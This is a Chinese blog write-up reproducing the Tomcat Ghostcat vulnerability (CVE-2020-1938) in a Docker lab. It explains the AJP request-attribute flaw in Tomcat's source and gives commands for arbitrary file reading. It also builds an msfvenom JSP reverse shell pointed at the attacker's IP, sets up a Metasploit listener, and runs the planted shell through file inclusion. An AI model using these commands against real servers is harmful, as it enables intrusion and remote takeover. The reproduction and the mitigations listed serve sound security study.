Tomact_CVE-2020-1938漏洞复现
本文最后更新于 2024-09-26,文章内容可能已经过时。
Tomcat 文件读取/文件包含漏洞(CVE-2020-1938)复现
一、漏洞简介
2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布了关于Apache Tomcat存在文件包含漏洞的安全公告(CNVD-2020-10487,对应CVE-2020-1938)。**攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。**别名:幽灵猫( GhostCat )
影响范围:
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
二、 漏洞原理
2.1 基础简介
2.1.1 Tomcat 的体系结构
Tomcat大致的体系结构如下:
- Connector :用于在指定的端口上侦听客户请求,接收连接请求之后分配线程让 Container 来处理这个请求。
(如:tomcat配置文件下的server.xml文件中就有一段默认的Connector标签配置的8080端口)
- Container :由四个自容器组件构成,分别是Engine、Host、Context、Wrapper。
- Engine :Engine 容器,定义了一些基本的关联关系
- Host :Host 是 Engine 的字容器,Host 在 Engine 中代表一个虚拟主机,其作用就是运行多个应用。
- Context :Context 容器,拥有 Servlet 运行的基本环境,且负责管理其中的 Servlet 实例。
- Wrapper :Wrapper 是最底层的容器,负责管理一个 Servlet。
- Servlet :服务程序。
2.1.2 Tomcat Connector
Tomcat 最主要的功能是提供 Servlet/JSP 容器,它在对静态资源(如 HTML 文件或图像文件)的处理速度,以及提供的 Web 服务器管理功能方面都不如其他专业的 HTTP 服务器,如 IIS 和 Apache 服务器。因此在实际应用中,常常把 Tomcat 与其他 HTTP 服务器集成,二者通过 AJP 协议来通信。其他 HTTP 服务器可以将 Servlet 与 JSP 服务交给 Tomcat 服务器来处理。
**而 Tomcat 的 Connector 组件主要职责就是负责接收客户端连接和客户端请求的处理加工。**每个 Connector 会监听一个指定端口,分别负责对请求报文的解析和响应报文组装,解析过程封装 Request 对象,而组装过程封装 Response 对象。Tomcat 服务器默认开启了两个 Connector,分别监听8080端口与8009端口(都在server.xml配置文件中),其中 HTTP Connector 是用于正常 HTTP 协议通信的连接器,AJP Connector 则是使用 AJP 协议与其他 HTTP 服务器进行通信,使用二进制格式来传输可读性文本,降低了 HTTP 请求的处理成本。Tomact 与 Apache 集成工作过程如下图所示。
2.1.3 Servlet
**Servlet(服务程序)简单理解起来就是一种用来处理网络请求的一套规范,作用是给上级容器(Tomcat)提供 doGet() 和 doPost() 等方法。**所有发送至 Tomcat 的请求都会根据相应的规则交由指定 Servlet 来处理。Tomcat 默认配置了两个 Servlet,即 DefaultServlet 和 JspServlet。JspServlet 负责处理所有JSP文件的请求,而当请求没有匹配到任何指定 Servlet 则交由 DefaultServlet 处理。( conf/web.xml 配置文件中相关的配置如下。)
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
......
</servlet>
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
......
</servlet>
......
<!-- The mapping for the default servlet -->
<!-- 可以看到匹配的正则为/,即全部类型-->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<!-- 可以看到下方匹配的正则的各种jsp格式类型-->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
后续漏洞的触发也是通过以上两种servlet
2.1.4 Tomcat 处理HTTP请求过程
-
用户输入URL:http://localhost:8080/test/index.jsp,请求被发送到本机端口8080,Connector接收后,由Connector 中的 Processor 类来封装 Request 。
-
Connector 中的 Adapter 类将封装好的 Request 交给 Container 中的 Engine 容器来处理,并等待 Engine 容器的回应。
-
Engine 容器收到请求,进行匹配,找到指定的虚拟主机Host。
-
Engine 容器匹配到名为localhost 的 Host 容器,该 Host 容器收到请求 /test/index.jsp,匹配其拥有的 Context 容器,寻找路径为/test的 Context 容器。
-
path="/test" 的 Context 获得请求 /index.jsp,在其 mapping table (就是上面说的那两个servlet)中匹配对应的 Servlet。找到 url-pattern 为 *.jsp 的 JspServlet(匹配不到则默认交由 DefaultServlet 类 )。
-
Wrapper 中的 Servlet 构造 HttpServletRequest 对象和 HttpServletResponse 对象,作为参数调用 JspServlet的 doGet() 方法或 doPost() 方法,执行业务逻辑、数据存储等程序。
-
Context 将 Servlet 执行完之后的 HttpServletResponse 对象返回给 Host 容器。
-
Host 容器把 HttpServletResponse 对象返回给 Engine 容器。
-
Engine 容器把 HttpServletResponse 对象返回 Connector。
-
Connector 把 HttpServletResponse 对象返回给客户的浏览器。
2.2 漏洞分析
官网下载Tomcat源码进行分析。(apache-tomcat-8.5.46-src:https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.46/src/apache-tomcat-8.5.46-src.zip)
其他服务器发送 AJP 请求给Tomcat,而后组件 Connector 接收并交由自己的 AjpProcessor 类进行处理。**此次造成漏洞的核心代码就在 org.apache.coyote.ajp.AjpProcessor.java 中 prepareRequest() 方法下处理额外属性的地方,**如下。
在读取 AJP 请求头后,prepareRequest() 方法将解析 AJP 请求信息,并将其中的属性与值取出放入 request 中。
1、创建 attributeCode 变量,从 AJP 请求取出值赋给它,而后用其与 Constants.SC_A_ARE_DONE (值为0XFF,代表请求结束) 比较的结果作为 while 循环条件。
2、当取出 attributeCode 的值为 Constants.SC_A_REQ_ATTRIBUTE (值为 10,非通用请求属性名称的整数代码)时,即取出的值为额外属性。会将属性名称与值取出分别使用n、v 变量存放。
3、当属性名称不是 AJP 本地地址、AJP 远程端口等属性时,会将取出的属性与值直接存放进 request 对象中。
接下来会将将请求传给 CoyoteAdapter ,由它负责对请求进行封装,构造 Request 和 Response 对象,并将请求发送给 Container。
之后就是 Tomcat 内部处理过程,最后到达 Servlet 。而 Tomcat 默认配置了两个 Servlet ,DefaultServlet 与 JspServlet ,也就分别对应了文件读取和文件包含漏洞。
文件读取漏洞:(漏洞出现在DefaultServlet 中)
当URL请求未匹配到指定 Servlet 时,最后都会交由 DefaultServlet 来处理。
分析org.apache.catalina.servlets.DefaultServlet.java 。请求到达 DefaultServlet 后,会执行 service() 方法,判断请求的 DispatcherType 是否为 ERROR ,若是则直接调用 doGet() 方法,否则调用父类的 Service() 方法。
DefaultServlet 的父类为 HttpServlet (javax.servlet.http.HttpServlet.java)。其 service() 方法根据请求方法(method)决定调用 doGet() 或是 doPost() ,代码如下。此处我们是读取文件,使用的是 Get 方法。
接下来在 doGet() 方法中,调用 serveResource() 方法去获取资源。
在 serveResource() 方法中,会调用 getRelativePath() 方法去获取资源路径,并使用 path 变量存储路径。
在 getRelativePath() 方法中有三个重要的路径参数,如下。
在 javax.servlet.RequestDispatcher.java 中,查看定义的值,如下。
static final String INCLUDE_REQUEST_URI = "javax.servlet.include.request_uri";
static final String INCLUDE_PATH_INFO = "javax.servlet.include.path_info";
static final String INCLUDE_SERVLET_PATH = "javax.servlet.include.servlet_path";
由截图中的代码可知,当 request 中 javax.servlet.include.request_uri 不为空时,将request 的 javax.servlet.include.path_info 与 javax.servlet.include.servlet_path 分别赋值给 path_info 和 servlet_path。
而后只要 path_info 与 servlet_path 的值不为空,就将 path_info 与 servlet_path 拼接起来赋值给 result ,代码如下。所以之前的 path 的值为 result。
回到 serveResource() 方法,获取到资源路径后,创建 resources 对象并调用其 getResource() 方法根据 path 获取资源,代码如下。
WebResource resource = resources.getResource(path);
在 getResource()
方法中(位于 org.apache.catalina.webresources.StandardRoot.java),会调用 validate()
方法进行校验。
validate() 方法中主要调用 normalize() 方法进行校验。
normalize()
方法的主要功能如下:
1.判断path中是否有'\\',有就转换成'/';
2.判断path是否以'/'开头,若不是则在前面加上'/';
3.判断path是否以'/.'或'/..'结尾,若是则结尾加一个'/';
4.判断path是否含有'//',有则替换成'/';
5.判断path是否含有'/./',若有直接截断并重新拼接,如'/./abc'变为'/abc'
6.判断path是否含有'/../',若有则直接返回null;
由第六点可知我们的请求路径中不能包含"/…/",也就导致了该漏洞只能读取webapps目录下的文件。
验证完成之后,使用 getOutputStream() 获取 ServletOutputStream 的实例
再用 write() 方法将获取资源的内容写入输出流。
随后再经过 Tomcat 内部流程处理,最终返回给客户端。
至此利用过程结束,而我们可以通过刚才在 DefaultServlet 的 getRelativePath() 中说过的三个参数进行访问资源路径的控制。而我们首先还需要让请求到达 DefaultServlet ,需要让请求的 url 为 “/asdf” ,此处的 asdf 为随机字符串(即是不存在的路径),目的是让 Tomcat 找不到 webapps 下的至指定文件,从而请求会到 Tomcat 的默认目录(即让请求到达 DefaultServlet )。若是想请求 webapps 目录下的其他目录,则可以设置为 ‘/指定目录/asdf’,如’’/manager/asdf’。
如要访问"webapps/ROOT/WEB-INF/web.xml
"
(1)首先将请求 url 为'/asdf'
(2)再将javax.servlet.include.request_uri
值设置为’/’(非空)
(3)javax.servlet.include.servlet_path
的值设置为 '/'
(4)javax.servlet.include.path_info
的值设置为 ‘WEB-INF/web.xml’。
文件包含漏洞:
若请求的是 jsp 文件,则请求在经过 AjpProcessor 类后,就交由 JspServlet 进行处理。
请求到达 JspServlet 后,经 service() 方法处理,将 servlet_path 和 path_info 拼接在一起,赋值给 jspUri (相当于请求的 jsp 的路径)。代码如下(位于 org.apache.jasper.servlet.JspServlet.java):
之后使用 serviceJspFile() 方法利用 jspUri 生成 JspServletWrapper 实例,也会初始化一个也会初始化一个JspCompilationContext ,再到调用实例的 service() 方法。
JspServletWrapper 中的 service() 方法会判断 options.getDevelopment() 或 mustCompile 值为 True (即判断系统是否允许重加载),而后调用 JspCompilationContext 的 compile() 方法。代码位于org.apache.jasper.servlet.JspServletWrapper.java 。
在 JspCompilationContext 的 compile() 方法会调用 Compiler 的 compile() 方法,
compile()方法首先会根据请求的 jsp 文件,生成对应的 java 代码,再将代码文件编译成 class 。代码如下。
之后 JspServletWrapper 使用 getServlet() 方法获取编译后生成的 Servlet
最后调用 service() 方法,请求执行。
利用过程简单就是,我们通过传入 servlet_path
和 path_info
,让其去将指定的文件作为 jsp 文件处理,Tomcat 会将根据指定的文件生成 java 代码并编译成 class ,而后加载 class 类实例化一个 servlet 并执行,从而造成文件包含。
简单总结下文件包含的利用调用关系:
三、复现过程
服务器:centos7(192.168.91.128)
Tomcat 版本:Apache Tomcat 8.5.32
拉取靶场镜像
docker pull duonghuuphuc/tomcat-8.5.32
攻击机:Kali (IP:192.168.91.129)
漏洞利用工具(github)https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/
3.1 任意文件读取
靶机服务器启动镜像:
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
访问:访问 http://192.168.91.128:8080 看到此页面说明靶场搭建成功了
kali下载工具,cd到利用工具目录:
使用 POC 访问 靶机服务器上 WEB-INF 下的 web.xml 文件
python2 'Tomcat-ROOT路径下文件读取(CVE-2020-1938).py' -p 8009 -f /WEB-INF/web.xml 192.168.91.128
可以看到成功,读取到web.xml的文件内容
3.2 文件包含
利用文件包含漏洞实现getshell
想要getshell则网站需要有文件上传的地方,这个靶场没有这个功能,不过我们可以模拟一下这个过程,我们手动复制木马文件到靶场服务器来模拟getshell过程
我在这里直接攻击机上生成,复制到服务器目录中
kali上如下命令生成java木马文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.91.129 LPORT=8888 -f raw > shell.txt
msf开启监听
msfconsole
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.91.128
set lport 8888
run
开启监听成功
复制文件到服务器中
将文件从kali上传到靶机中,先 docker ps 查看容器CONTAINER ID,然后进行复制
docker cp shell.txt de3d68dddc35:/usr/local/tomcat/webapps/ROOT/WEB-INF/
上传成功
访问上传的木马文件
在kali上通过之前下载的POC访问一下,发现成功读取到了内容
python2 'Tomcat-ROOT路径下文件读取(CVE-2020-1938).py' -p 8009 -f /WEB-INF/shell.txt 192.168.91.128
但是我们目的是getshell,需要让shell执行才行
注意:利用工具中的这俩文件作用不一样,'Tomcat-ROOT路径下文件包含…'是用来编译执行服务器代码,执行反向shell用的这个,也就是上面一步,让木马执行反向连接攻击机
而Tomcat-ROOT路径下文件读取…'单纯的读取文件内容,而不会编译执行
攻击主机访问木马文件,并编译执行,反向连接我们攻击主机的msf上
python2 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/shell.txt 192.168.91.128
没有报错说明服务器上上传的反向木马编译执行了,最后返回msf,查看有没有反弹回来shell。
至此,通过文件包含Getshell。
3.4 修复方法
(1)官方网站下载新版本进行升级。
(2)直接关闭 AJP Connector,或将其监听地址改为仅监听本机 localhost。
(3)若需使用 Tomcat AJP 协议,可根据使用版本配置协议属性设置认证凭证。
四、参考文章
1、解析Tomcat内部结构和请求过程-逝宇、 (https://www.cnblogs.com/zhouyuqin/p/5143121.html)
2、一文详解Tomcat Ghostcat-AJP协议文件读取/文件包含漏洞CVE-2020-1938 - raul17的文章 - 知乎( https://zhuanlan.zhihu.com/p/137527937)
3、Tomcat-Ajp协议漏洞分析 (https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ)
- 感谢你赐予我前进的力量